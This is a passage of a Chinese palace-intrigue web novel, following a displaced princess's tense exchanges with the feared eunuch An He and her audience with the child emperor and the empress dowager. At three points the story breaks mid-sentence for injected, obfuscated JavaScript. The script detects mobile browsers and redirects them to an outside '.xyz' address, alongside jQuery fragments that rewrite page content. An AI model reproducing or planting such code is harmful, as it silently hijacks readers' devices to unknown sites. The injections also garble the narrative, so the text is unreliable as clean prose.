赵凉絮不自觉就开始观察分析起安和。
但瞧了几眼,安和一直专注于手中的事,没什么其他动作。
赵凉絮觉着无趣,重新翻起书来,这次她太过困倦,不小心伴着困意睡着了。
安和将手中事做完,揉了揉眉心驱散倦意。
他本想着嘲讽两句然后便大恩大德让赵凉絮回去,结果一转头便看到赵凉絮靠着墙边睡着。
似乎是天气有些冷,她一只手抓住另一只胳膊,瑟缩着紧紧抱住自己,想要驱散些寒意。手上的书随意瘫在地上,也不知她看进去多少。
她刚刚靠着墙蹭来蹭去,头发蹭的都有些散乱,几绺青丝垂在耳边,真是毫无防备。
她难道一点都不害怕吗?
安和自认为自己如今的身份是一人之下万人之上,外界都传他多么多么狠辣残忍,说的也八九不离十。
别说十几岁的小姑娘怕他了,就是正值壮年的武官见到他也要尊敬的喊他一句“九千岁”,与他相处也会处处谨慎,生怕出错。
哪像赵凉絮,看起来害怕他、敬着他,相处间还守着些分寸。
但他猜着,她心里有几分尊敬还得另说。
安和走到赵凉絮身前,居高临下的喊她:“赵凉絮,你睡的可真踏实。”
赵凉絮不动。
安和皱眉,这里是什么地方,就敢睡得这样死。
他蹲下摇了摇赵凉絮的肩膀:“赵公主,该醒了吧。”
赵凉絮下意识拍开安和的手,嘴里嘟囔几声。
她还是没有醒。
“赵凉絮!!”
安和气的大喊她的名字,她是睡死了不成?
赵凉絮惊醒,猛地起身向前一探,不巧,她的额头撞上了安和的鼻子。
“嘶!”
“草。”
安和和赵凉絮分别痛呼一声叫骂一声,安和捂着自己的鼻子深呼吸,恶狠狠地看着眼前的罪魁祸首。
罪魁祸首还捂着额头小声呼痛。
“赵凉絮,我要杀了你。”
安和阴恻恻地说,毫不掩饰自己的愤怒。
赵凉絮还没弄清状况,她刚刚还在熟睡,然后一个激灵被安和叫了起来,她可还没说什么呢。
她揉着额头毫不示弱地回答:“你知不知道忽然叫醒一个熟睡的人对她的伤害是多么大。”
赵凉絮夸大地朝安和描述。
“撞到鼻子还不是因为你叫我名字叫的那样大声,你就不能好好叫醒我吗?”
安和觉得荒谬。
这人竟然还倒打一耙?
安和指尖微颤,怫然说道:
“你好好瞧瞧这是哪儿?咱家的书房是你该睡觉的地方吗?揺你都摇不醒,你竟然还赖上我了。”
安和边说话边捂着鼻子,话语间鼻子下边一股热流,他抹了一下,看着手上血迹,顿住了。
是鼻血。
赵凉絮看到自己把安和撞的鼻子出血,虽有被叫醒的不爽,但多少有些不好意思。
安和掏出手帕在脸上狠狠抹了两下,却只是把自己变得更加面目可憎。
安和不知道自己脸上血迹斑斑,他也管不了那么多了。
赶快来人把赵凉絮这个蠢货拖出去。
赵凉絮一看安和表情就知道他要发怒喊人,抢过手帕赶紧说:“哎安公公冷静,你脸上还有血,这个样子叫人进来恐怕不好吧。”
安和倒真被赵凉絮叫停了,他不知道自己脸上是如何,但若是真有血迹,岂不是叫下人看笑话了去?
看到安和有所停顿,赵凉絮乘胜追击:“安公公,九千岁。不若我替你擦干净,就当我的道歉。”
赵凉絮握着手帕的那只手即将碰到安和的脸时,安和一把攥住了她的手腕。
他一边用袖口掩着自己的脸,一边紧紧制住赵凉絮的动作,近乎是咬牙切齿的说:
“赵凉絮,你是在找死吗。”
安和撒开抓着赵凉絮手腕的那只手,起身后甩了甩袖子,另一只被宽大袖口掩住的手依旧遮着自己的半张脸。
“就凭你的僭越,咱家已经可以治你百十来次的死罪了。”
“你真以为凭你说的那些东西,就能保住你自己的性命?你的命可是在我的手里。”
安和皱着眉,和赵凉絮才见了短短几面,左右不过几天,他只觉得自己的情绪涨落比过去一年还要多。
赵凉絮似乎言行不一,嘴上说着惜命怕的要死,手上做出来的事却是一件比一件随意不考虑后果的事。
真要有她嘴上说的那么惜命,行为举止就应该谨小慎微,而不是像现在一样,装出一副害怕的样子。
赵凉絮靠在墙角,瑟瑟缩缩的用胳膊圈住自己,露出了一个状似害怕的表情。
很逼真,但如果她能从刚刚一脸无所谓的表情转变为现在的表情更为顺滑一些的话,安和也许真的会相信了。
安和盯了她许久,赵凉絮也跟着摆出害怕的表情许久。
就在两人僵持到赵凉絮都想提醒安和他脸上的血迹快要干了时,安和笑了一声,然后扯着沙哑的嗓子说了三个字。
“滚出去。”
好,不愧是九千岁,能忍,能成大事。
赵凉絮收起脸上害怕的神情,麻利地起身出去,并且贴心帮安和带上了书房的门。
书房隔音很好,张盛等人正兢兢业业的在书房外守着,几人看到赵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042306|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凉絮完好无损的出来,彼此交换了一下眼神。
赵凉絮只觉得和安和这种家伙交流有点伤神,她需要休息。
她打了一个哈欠然后对张盛说:“这么晚了还让你们送我回去有些不好意思,不如我自己走回去吧,我已经记得路了。”
”赵公主,送您回去是安大人的吩咐。“干爹当然不放心赵凉絮自己一个人在安府瞎晃悠,总需要有人盯着她。
“哦,好吧。”
赵凉絮也没有强求,跟着就跟着呗,她也不会做什么坏事。
她困得刚想要揉眼睛,这才发现自己手上还攥着安和的手帕。
有点晦气。
赵凉絮将手帕递给张盛随口说道:“我不小心把安公公的手帕拿出来了,你替我还给他吧。”
张盛有点惊讶的接过来,然后一不小心就看到了手帕上异常明显的血迹。
张盛:“......?”
有点不敢想赵公主和干爹在书房里做了什么。
是谁受伤了?
若是干爹受伤了,赵凉絮竟然会完好无损?
张盛有些惊疑不定。
赵凉絮注意到了张盛忽然顿了一下,她疑惑地转头望去,发现这个小太监的目光落在那片已经暗红的血迹上。
她隐隐约约猜到张盛在纠结什么,但是她也不好告诉张盛。
那手帕上是你干爹的鼻血。
只怕告诉了他,安和恼羞成怒再牵连了张盛,将火撒在张盛身上。
有时候,误会是比事实美丽些的。
于是赵凉絮并不理睬张盛脑补了什么奇奇怪怪的情节,只是轻轻将张盛游离的思绪唤了回来:“张公公?”
张盛回过神来,抱着歉意行了一个简单的礼,像来时候一样将赵凉絮送了回去。
只是他在一路上脑子一直在飞速运转。
这手帕......
张盛直到回了书房复命的时候都还在思考,他本来是觉得安大人留下赵凉絮是因为赵凉絮的身份,或许是借赵凉絮之手抓住周锋的把柄什么。
但如今看到这帕子确实让他觉得有些不好说了。
“张盛,你想说什么?”
安和看到张盛汇报后似乎还有话要说。
“干爹,这是赵公主让奴才转交给您的手帕。”张盛恭恭敬敬的呈上那张手帕。
安和一见那张手帕,眉头紧锁。他只觉得赵凉絮做法颇有挑衅之意。
“出去,烧了。”看着让人心烦。
张盛抬头小心观察安和的表情,他的眉间有愠色,不知在想些什么。
张盛觉得安和表情与往日并没有什么大的区别,与往日一样阴沉、难以捉摸。
看来安和并没有什么沉迷美色之举。
未动赵凉絮,应当是有他自己的考量。
倒也不怪他这样想。
像他和安和这群身体残缺的人,往往会走向极端,要不就是除却职责外不和宫中女子有半点纠葛,要不就是因身体扭曲而变得过度极端,常以折磨女子为乐。
张盛跟着安和最久,他知道安和是前者,但外界往往会将话题引向刺激的不可言说的方向,哪种说法最引得人侧目最钩住人的猎奇心,哪种说法就会甚嚣尘上了。
他心里想着,只觉得这一方帕子不过是他误会罢了,但赵公主安然无恙的从书房走出来,确实有些本事。
9. 窒息
赵凉絮回去之后,发现竹木还在燃着半根烛火等着自己。
看到赵公主衣衫完整的回来,竹木还谨慎隐晦地打量赵凉絮身上是否有新的伤痕。
她觉得“九千岁”绝不是个好惹的主,赵公主恐怕又吃了苦头。
赵凉絮注意到竹木的小动作感到有点好笑,这个白天里还哭哭啼啼的婢女这便把白天那股情绪收拾好了,现在全心全意的对待她这个性情大变的赵公主。
不过这一个两个的都猜测着安和对她做了点什么,“九千岁”在外的形象还真是深入人心。
她也亲自体会了这太监的阴晴不定,跟这种前一秒还是笑脸后一秒就能翻脸的家伙相处是有些耗心神。
赵凉絮伸了个懒腰,宽慰竹木两句让她安心,打着哈欠就去睡了。
接下来几天,安和仿佛忘记了那天晚上赵凉絮冲撞他的事,让赵凉絮继续每晚去书房寻书看书。
当然他也说到做到,半逼迫着要教赵凉絮识字。
赵凉絮:“......”
此事他倒是上心的很。
赵凉絮好歹也是受过九年义务教育的正常人,加之她也熟悉一部分繁体字,所以并不是纯文盲状态,识字过程并不艰难,艰难的是安和看不惯赵凉絮的毛笔字,硬是要让她练字。
安和位居高位,教导赵凉絮也是一副吩咐的姿态,他随手掏出一册誊抄的字帖交给赵凉絮。
“今晚把这册字帖写完。”
翻了翻这本浸着墨香的字帖,赵凉絮忍无可忍。
“写不完。”赵凉絮将字帖推回去,翘着二郎腿侧过脸表示拒绝。
出于兴致,安和在平日里只有一张桌椅的书房又添了张漆木椅,供赵凉絮坐在一角。
她还记得自己来书房是看书的不是来学习的,结果安和倒是当老师当上劲了,整天布置些任务聊以慰藉他那好为人师的愿望,全然不管赵凉絮的意见。
“不写字帖?那你的脑袋也不保。”
正低头忙于写着什么的安和头都没抬,轻飘飘的吐出一句威胁。
连着相处几天,赵凉絮也有一些摸透安和的性格。
大部分时候他的确是阴晴不定,但一遇到让他兴致高的东西,他说的许多骇人的话也可以姑且当作口头禅而已。
而盯着她识字练字就是他最近兴致较高的东西了。
这是这几天赵凉絮秉持着优良的不怕死精神实践出来的,其他人不清楚这件事自然是因为安和的“恶名”在外,他人不敢轻易违逆安和。
于是赵凉絮一只胳膊撑着书桌一角,一只手轻点在字帖的纸张上,身体斜着倚靠桌边,丝毫不在意地反驳:”这字帖太多,写不完的。就算匆忙写完也是粗糙功夫,对我没什么帮助不是吗?不如我今天多讲些奇闻轶事,就当我写了这字帖吧。“
安和抬眼看了看赵凉絮,她这副放松至极的姿态不知道的人还以为他九千岁好说话的紧呢。
也幸亏他最近心情不错,赵凉絮这些日子讲的什么“手机”“飞机”“互联网”等各式让人想不到的制物也颇有意思,纵使他不知道究竟是不是真的,但赵凉絮描述之细和其逻辑自洽也有一套,即使是编的听来也是不错的解闷。
不过赵凉絮单拿这种飘忽不明的事情就想当作长久的筹码,自然是不行的,这才过了没几天就和他谈上条件了,再过些时日岂不是要到他头上来撒野?
说到底,现下的赵凉絮于他而言不过是个逗趣解闷的玩意罢了。
安和放下手中毛笔,取过旁边备着的打湿过的帕子擦了擦手,背靠在椅背上阖眼,语气冷冽:“赵公主,咱家这几天是不是对你太好了,让你都觉得能和咱家谈条件了?”
赵凉絮一向对他人情绪变化的感知很敏锐,如今她自然察觉到安和语气的变化。
这太监又不知心里琢磨些什么,忽然变了态度。
赵凉絮想了想,抬手拿了支细毛笔,就着字帖随意写了几个字,然后推给安和看。
“安公公请看看吧,我并非是贪懒,只是我觉得写下这一整本的字帖作用实在不大。”
安和骨节分明的手指夹过那本薄薄的字帖,半抬眼扫了下赵凉絮随意落墨的几处,忽然他指尖微顿,有些讶然地撇了眼赵凉絮。
这字,写的确实不赖。
但不过几天便由之前那轻不轻浅不浅的黑墨疙瘩变成现在这样娟秀的楷书,实在让人惊讶她的天赋。
注意到安和讶然的实现,赵凉絮时常漠然的脸上也浮上一丝自得的浅笑,她右眼眯得重些,嘴角挂着弧度,像极了一只调笑的猫儿:“安公公,我虽不是什么天才,但是学习的本领也是不差的。”
难怪她不想写这字帖,确实于她没什么大用了。
安和扫了她几眼,若赵凉絮天赋真当如此,再多磋磨些时日,她也未必不能成为颇有造诣的书法大家。
那个曾经的蠢材赵公主可不会这样。
他曾常常听当时还是十三皇子的小皇帝向他吐槽赵凉絮的蠢笨和谄媚。
说到皇帝......安和眼眸暗了暗。
“你倒真有些本事——赵公主,明日随咱家进宫一趟,皇帝陛下要见你。”
不知道李瑛又听谁说什么了,非叫喊着与赵公主有同窗之谊,许久未见甚是想念,要召赵凉絮进宫叙旧。
以安和如今的地位,他当然可以话语间回绝李瑛,说到底如今的皇帝李瑛宠信他,他若是将话讲出一番道理,李瑛也不会反驳。
李瑛虽享有皇帝的地位,却年龄太小,朝堂之事多复杂,大臣们党争不断,李瑛还不够应对。
加之当年他将李瑛从皇宫一角捞了出来,扶他做皇帝,李瑛也是格外信任他。
只不过他最初并没有什么手下掌着傀儡皇帝的想法,成了皇权之上的九千岁有他自己的钻营,也有李瑛将事务都扔给他的缘故,明明身为一国之君却不愿花一点时间在朝堂之上,只喜欢寻欢作乐,小小年纪便有昏君之相。
他也想知道这小皇帝找赵凉絮究竟是个什么意图。
安和内心嗤笑一声,看向正走神的赵凉絮。
他敲了敲桌子将赵凉絮的思绪唤回来。
“这是通知你,不要试图编什么拒绝的话。”
赵凉絮正在脑子里搜索安和口中的皇帝陛下,以赵凉絮的身份,不说和那群皇亲贵胄亲近,见面总该是见过的。
不过那些记忆实在是模糊,赵凉絮只能知道现任皇帝是先帝年龄最小的皇子,如今也不过十岁。
赵凉絮冲着安和友好地弯了弯眼:
“安公公,皇帝陛下怎么想着要见我呢?我这样的罪人身份见他是不是不太合适。”
记忆中的信息不管用,现成的安和不用白不用。
“你还知道你是罪人身份,咱家看你整日快活的很,没一点担忧你这罪人身份嘛。”
安和阴阳回怼,这副嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042307|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
角勾起眼睛微眯的小表情他这几日还真不少见,这显然是赵凉絮想和他耍嘴皮子了。
“安公公这些天不像外边说的那样可怖,想来做事也不会不明是非,如果陛下是让我进宫问责的话,我若被杀,往小了说你再也听不见我这样有趣的故事,往大了说这些天你收留着亡国皇族,说不定也会受牵连。”
赵凉絮话说的好听,字字句句为安和,实际上却像在威胁安和。
她怎么敢呢?
这么幼稚的威胁,怎么可能对他造成影响?
安和心里是这样想的。
皇位上的小孩如今不过是个纸糊的龙,壳子里只有玩心毫无上进之心,自然轻易能拿捏。
而朝廷那群人......
安和猛地站起来,步步逼近赵凉絮,面上冷意逐渐侵蚀了带着假笑的表情。
他一把掐住赵凉絮的脖子,未涂抹白粉的脸很是年轻,却带着不符合这个年纪的阴冷。他手下力度不算轻,苍白纤长的手指紧紧环住赵凉絮的脖子,压迫着赵凉絮喉管里的空气,逼得赵凉絮下意识挣扎。
“赵凉絮,你可知,朝中上赶着巴结咱家的人数不胜数,无论是提了金榜的才子还是六部那些精明的老东西,到底都得敬重咱家几分,暂不说心中所想是何,他们面上功夫可都是做足了的。而如今你,一个没用的北周公主身份,也敢威胁咱家?“
安和手上愈发用力,眼底的讥讽结成冰霜。
他今天就算在这把赵凉絮杀了,明日小皇帝也不会怪罪的。
大不了......大不了利用赵凉絮的计划变一变,他多些麻烦就是了。
赵凉絮一只手颤巍巍搭上那只掐住自己脖子的手,睫毛扇动,而后露出一个笑容。
即便是现在这种情况,赵凉絮似乎也不会害怕,她的声音从喉咙中挤出:
“你留下我......不光......是觉得我很有趣......对吧?
“北周逃亡的......皇长子,若知晓......质子皇妹......养在京城,甚至可......接触九千岁......和小皇帝......”
安和手上力度渐松。
“他会做出什么......反应呢?想必他定舍不得胞妹,而绞尽脑汁......期盼家人重聚吧。”
安和的手松开了,只是纤长的手指依旧在赵凉絮脖颈处摩挲。
“或许,我亲爱的皇兄,也盼望着同妹妹说些体己话呢。”
才怪。
战乱中毫不犹豫抛下自己妹妹的人,怎么可能会顾及家人情谊。
但居于九千岁私宅,有机会面见皇帝的亡国人赵凉絮,可以给这名渴望复国报仇的迷途羔羊一些什么呢?
信息?机会?
值得思索。
她活在京城,就是一个讯号。
而这,自然是赵凉絮笃定安和不会杀自己的原因。
这些道理,安和不会不知道。
所以,他只是在恐吓赵凉絮。
他的杀意一闪而过,但理智告诉他,留下赵凉絮是目前最好的做法。
他期待,刚刚那种逼近死亡的感受,能够让赵凉絮表现出点什么。
至于是痛哭流涕的祈求,还是冷静非人般的反馈,这就是安和所期待的下一幕。
而那双没于睫毛下冷漠的双眼和那一抹笑容。
安和承认,赵凉絮没让他失望。
10. 面圣
“赵凉絮啊赵凉絮,你和曾经的那个蠢货真是两个极端。”
他的手依旧没放下来,冰凉的触觉在赵凉絮脖子处打转,而后那纤细的手指挑起赵凉絮的一缕发丝。
但他的目光始终紧紧盯着赵凉絮。
“九千岁过誉了。”
赵凉絮头往旁边一偏,让那缕安和手中的发丝轻轻滑落。
“反正您说什么我也违抗不了,进宫便进宫。”
安和捻了捻手指,瞪了赵凉絮一眼。
书房内安静的不像话。
烛火的影子在安和脸上跳动,看不清他的神色。
他忽的嗤笑一声。
用桌上的帕子仔仔细细净了手,细致得有些过分。
他边擦手,头也不抬地下了命令:
“那你就赶紧回去收拾收拾吧,省的咱们赵公主明日误了进宫时辰。”
赵凉絮看着安和的擦手动作,内心不由得评价:
装。
听到那阴阳怪气的关怀,又是两个字:
有病。
待赵凉絮离开后,安和叫张盛进来,将那帕子扔给他。
“拿出去烧了。”
张盛捧着这帕子不明所以,但还是躬身应答。
“还有,明日寅时去催着赵凉絮起来,让她穿件体面点的衣服。”
“干爹是要?”
安和坐在桌子后,刚刚拂过发丝的手指轻敲着桌面,他阖着眼道:“进宫面圣。”
“是。”
————
第二天一大早,天还没亮,赵凉絮便被竹木叫了起来。
“公主,快起来了,盛公公已在院外等了好一阵了。”
竹木不停摇着清醒一会又陷入昏迷的赵凉絮,急得头大。
衣服等都已妥帖放在床边,只等赵凉絮起来梳洗一番穿上便可走。
可如今赵凉絮却是一副誓死不与床分离的模样。
张盛已在院外等了一刻钟,但自家公主却连床都没离开。
“公主公主。”
竹木贴着赵凉絮耳朵不停叫她。
而赵凉絮用自己为数不多清醒的脑细胞偷偷骂了安和无数遍。
这个神经太监,这么早叫她绝对是故意的!
说什么早些回去歇息,她躺在床上不多时他就派张盛过来催命。
睡不好就是催命啊。
赵凉絮坐起身来伸了个懒腰,闭着眼摸索衣服,摸到衣服就开始胡乱往身上套,一边打着哈欠一边下床。
她眯着眼站在原地与睡意抗争,毕竟她昨夜在安和书房待到子时,如今满打满算也不过睡了不到三个时辰。
在低头沉默了一会后,赵凉絮终于战胜了对睡觉的渴望。
她顺手帮竹木整理了一下因匆忙而显得有些乱的头发,顺便宽慰她不要担心,便出门去见张盛。
有机会一定要报复回去。
安和,你等着。
一边在心底骂着安和,赵凉絮出现在张盛面前。
张盛并未因赵凉絮的拖沓而感到生气,毕竟作为安和最亲近的心腹,他知道所谓的寅时也不过是为了折腾赵凉絮。
此时九千岁和陛下还在上朝,时间来得及。
因而他就站在门口静候这位“公主”。
只是眼前赵凉絮一看便知是一副尚未睡醒的模样。
因起的匆忙,赵凉絮并未对自己做过多的收拾,只擦了擦脸便出来。
她身体还未养好,脸色苍白,一直是一副虚弱过度的模样。
赵凉絮身为北周皇室的子嗣,自然继承了北周子民的身形,在南周的女子中显得尤为高挑,身高超过一米七,甚至要再多上不到两寸。
但长期的逃亡生活让她的身体得不到充足的营养,整个人像个高高瘦瘦的纸片,叫人担心一阵略大的风都能将她吹出几米。
她这几天在府中很少用胭脂盖住她的气色,张盛本以为进宫对她是件大事,没想到她如往常一样。
“赵公主,请上马车吧,路可有些远呢。”
张盛带着宫中人一贯完美且得体的做派,无论心中怎样想的,礼数从来都是周到的。
赵凉絮并未推脱,几步上了这架比前几天的小轿子更加舒适的车厢。
车厢中仅她一人,虽说是舒适,也只是空间大了一些。
这车显然是不常用,座位硬的膈人,但她还是几乎倒头就睡。
不知走了多久,直到张盛在车厢外喊她,她才幽幽醒来。
“赵公主,宫内马车不可通行,得劳您下来走一段了。”
张盛今日进宫自然是穿了官服,他作为安和手底下的人,也算是宫中地位较高的太监,着一身蓝灰色蟒袍,走在宫道上,寻常太监宫女见了他也得低头行礼,道一声“张公公好”。
这些宫中的人见了跟在张盛后边的赵凉絮,皆是一惊,低头间与身旁的人眼神交换。
张盛本不想理睬这些宫女太监的小动作,但她们也太不知收敛,于是张盛停下来提醒了一句:“宫中的规矩都忘了吗?若是九千岁在这,你们这□□头接耳的奴才脑袋就别想要了。”
听到这话的宫女太监连忙收回视线,颤颤巍巍地站好。
呵,安公公还真是个大奸宦。
几人一直走到一处看着贵气华丽的宫殿前,只是周围的奴才不多,又多种着各种树木植物,倒显得有些幽静。
赵凉絮抬头望去,牌匾上写着“余樾宫”。
自殿内迎出一名发髻复杂穿着淡蓝色绸缎衣衫的少女。
容貌姣丽,年龄不大。
“张公公好,太后已听闻赵公主进宫的消息,陛下和九千岁不久要下朝,劳赵公主在此等待片刻吧。”
原来是太后的宫女,竟然这么年轻。
芳时一边向张盛行礼,一边解释着,而最后一句话则是对着赵凉絮说的。
张盛摆了摆手,朝殿内方向作揖:“芳时姑姑多礼,奴才就不进去打扰太后娘娘了,九千岁那还等着奴才复命。”
张盛就这样将赵凉絮留给太后,而芳时则领着赵凉絮进了殿内。
而余樾宫外看着华丽至极,但宫内却反差地朴素,没有什么能让人叫出一长串名字的玉器瓷器,屋内干干净净,而屋内的主人也穿得素净,不像个太后。
周明熙就侧靠在卧榻上,阖着眼,似乎在睡觉。
她的宫女和她一样,她们都很年轻,她也年轻得不像太后,就如同那个芳时姑姑不像太后身边应当伺候的老嬷嬷一样。
太后看起来像是现代二十多岁的女性,能入
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042308|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后宫的女子容貌差不了,周明熙的相貌算不上最美,更多的是清丽的气质,她嘴角处有颗小痣,这样倒是给她的面庞添上一丝成熟。
赵凉絮循着记忆中的礼节朝太后行礼,但周明熙并未说话,依旧阖着眼在那里靠着。
于是赵凉絮看了眼芳时,自寻了一个座位坐下。
并没有人呵斥她,也没有人理睬她。
赵凉絮直勾勾盯着周明熙,毫不避讳,一旁的芳时都忍不住看她。
她虽不太懂这个太后这样一副深沉样子是做什么,但她的直觉,以及这个宫内的气氛,都在提醒她,这个太后并不太喜欢她。
曾经的那些零碎记忆里,似乎并无赵凉絮与太后有直面冲突的景象,或者说,曾经的赵凉絮都未曾见过当年这个过于年轻的妃子。
老皇帝一直熬到八十多才驾崩,他的后宫倒是一点不含糊得往里塞人,年轻的貌美的人一打一打往里塞。
甚至有子嗣的妃嫔都不少。
赵凉絮不可能见过每一个人。
三人就这样沉默地过了一会,殿外忽然传来一声尖利的“皇上驾到——”。
赵凉絮精神一振,可以打破现在这个让人不适的局面了。
不过通报的声音并不是安和发出来的,安和的声线不知怎么回事,平日里说话常常带着低哑。
总归是比尖利的声音更好听点。
“母后,我下朝了。”
周明熙睁开了眼睛。
尚处于变声期的稚嫩声音率先从门外传来,随之而来的是有些急切的脚步声。
赵凉絮向门外望去,只见一个穿着金黄龙袍的小孩从门外走进来,赵凉絮估摸着这个小皇帝刚比她腰高点。
紧随其后的是与平日明显不同的安和,让她眼前一亮。
他面上敷上了当下太监时行的粉膏,显得比平日更白,嘴唇似是也涂上了口脂,整张脸像极了白日艳丽潮湿的鬼,也多亏那还算清秀的长相,让那份阴暗的气质稍稍被中和了一些。
安和自然也穿上了官服,但与张盛的蓝灰色不同,安和身上的蟒袍是更为张扬的暗红色,蟒袍纹饰则是黑底金线,更为精细繁复的衣饰工艺证明了他九千岁的身份。
他手上捧着一柄拂尘,手指有一搭没一搭地敲着拂尘的木柄,而拂尘素白的毛须和他腰间的浅色玉带随着他的动作,在黑红色蟒袍的映衬下抖动着。
安和向太后简单行了个敷衍的礼,看到赵凉絮望着他的眼神里没有惊讶和嫌恶,反而多了些莫名的期待,他心里一阵烦躁,瞪了一眼赵凉絮。
还不快向小陛下行礼。
而赵凉絮眼里的期待则是对安和的出现感到兴奋。
本国最尊贵的三个人出现在这间宫殿里,无论就什么话题讨论,似乎都比刚刚的沉默有趣的多。
并且,现在的安和气质更加尖锐张扬,毫不掩饰他作为奸宦的形象。
说实话,赵凉絮认为这副模样的安和有种奇怪的吸引力。
余光又扫了几眼安和,惹来安和杀人般的眼刀,赵凉絮终于捋了捋衣袖,对着眼前名义上是天底下最尊贵的人跪拜下去。
“拜见陛下。”
而一直握着太后衣袖的小皇帝终于注意到了赵凉絮,他恍然大悟般拍了拍手:“赵凉絮!”
11. 李瑛
这个尊贵无比的小孩并没有让赵凉絮起来,反而是端详她片刻,发出了疑惑:“你真的是赵凉絮吗?”
“你比以前瘦了好多,是不是家没了吃不饱饭?
“听宫女嬷嬷们说,家破人亡的你,被当做礼物给了安公公?
“以前在学堂的时候,不曾知晓你这样坚强啊,还以为你会羞愧自尽——你怎么不说话?为什么不讨好朕,你以前不最爱这样讨好朕的兄长吗?”
小皇帝天真但残忍地询问,简直是被宠坏的熊孩子的代表,他丝毫不在意自己的话是否中伤他人,感受臣服和跪拜自当了皇帝就熟悉的事。
他不觉得有任何错。
简而言之,自大娇纵。
“哎呀,你看起来变了好多......”
小皇帝李瑛对着赵凉絮左看看右看看,却发现赵凉絮没一点惶恐的样子,忽的变了脸色,不断质问。
“你为什么不讨好朕,为什么不像对待兄长那样对待朕?你不最爱作出一副卑微的样子给人看吗?朕如今是皇帝了,为什么倒是不说话了?”
赵凉絮只有零碎片段,但的确,曾经的赵凉絮在学堂中尤爱讨好小皇帝的兄长——曾经的太子殿下李洵。
而当年,这位李瑛也不过是个不起眼的小皇子,不受宠的皇子纵使享受着荣华富贵,也并无权力可言,不是曾经的赵凉絮讨好的对象。
“赵凉絮!你更令人生厌了!”
他一边说着,一边踱步,忽地又面对赵凉絮,抬手。
他想打赵凉絮。
赵凉絮在看到他踱步靠近自己的一刻已经察觉到他的目的,但是她在想。
要是躲了这一巴掌,触怒龙颜,她本事再大又岂能逃出戒备森严的皇宫?
但受了这一巴掌,确实憋屈。
正当赵凉絮准备向下弓腰躲过巴掌并顺势装作磕头时,一只手握住了李瑛的手腕。
“陛下,不可意气用事。”
安和笑着拦住李瑛的动作,又悄无声息地撒开手。
安和对着一脸怒气的李瑛说:“陛下忘了吗,贤明的君主不应当任性,陛下前段时间做的功课像是忘光了。”
他看了眼赵凉絮,又对着李瑛说:“既然赵公主是将军大人送给奴的礼物,那奴自当要珍惜他人的慷慨之心,赵公主身体尚未养好,若是又挨了陛下的怒火,身体恐怕是受不住。”
“这样岂不是白白浪费陛下忠臣的美意?”
李瑛攥着拳头,绣着金龙的龙袍随着他剧烈的呼吸上下起伏。
他闭了闭眼,转头尝试扯出一个笑容:“安公公说的也对,自然不能因为他人影响而忘了功课教诲,朕要做个贤君。”
如果不是安和,他才不会听。
“母后,安公公说的对吗?”
李瑛又看向自始至终保持沉默的周明熙。
李瑛这段从平静到发疯的过程似乎也未曾对周明熙有任何影响,她揉了揉额头,笑着说出赵凉絮自见到她的第一句话:“自然,我儿是该好好听的。”
这个年轻的太后笑起来很是好看,她宠溺地看着李瑛,仿佛李瑛说什么她都会认同。
“赵公主想必是多日奔波受了惊吓,你快些起来吧,莫要再坏了身子。”
她朝赵凉絮伸出一只手。
“来,坐到我身边来。”
赵凉絮终于能起身了,太后身下的卧榻也看着很柔软。
她将一只手放到了周明熙的手上,顺着坐到了卧榻边。
周明熙紧紧握住赵凉絮的手,另一只手则替她拨了拨发丝:“赵公主真是吃苦了。”
她柔软的眼神仿佛能掐出水来。
但赵凉絮感到一阵恶寒。
她方才绝对没有感觉错,周明熙应当是不喜欢自己的,现在却表现的多么喜爱她。
她们曾经也并没有任何交集。
这样的违和感让人不安。
但没事。
她赵凉絮不是个畏缩胆小的人。
赵凉回握住周明熙的手,周明熙吃了一惊,下意识想将手缩回。
可赵凉絮并未放开。
“太后菩萨心肠,像您这样慈祥善良的人我从未见过,您让我想到了我已过世的年过五十的母亲。”
周明熙听到“慈祥”二字眼角抽动,又听到“年过五十”,呼吸都重了些。
赵凉絮一副感动的模样,心中却有些了然。
这位太后很在意年龄。
她究竟多大?已经有了这样大的一个儿子,年龄焦虑?
周明熙额角跳动,用力抽回自己的手,掩着面叹息:“唉,好孩子,吃了这么多苦也是沉稳了许多,曾听闻赵公主前不久还是个活泼的姑娘呢。”
“是呀,人总是会成长的不是吗?”
赵凉絮可不会因为话语里拐弯抹角地讥讽而感到不适。
她微笑着抚摸自己的头发,视线移到了一旁的李瑛身上:“想必是太后娘娘太过宠溺陛下,才导致陛下时时忘了功课,陛下也是孝顺,方才陛下一进来便朝您来请安了。只是宠溺外的严苛教诲也是个重担,似乎不得不移到安公公身上来了。”
赵凉絮捂着嘴轻笑,活脱脱一个良家姑娘在同长辈谈些趣事。
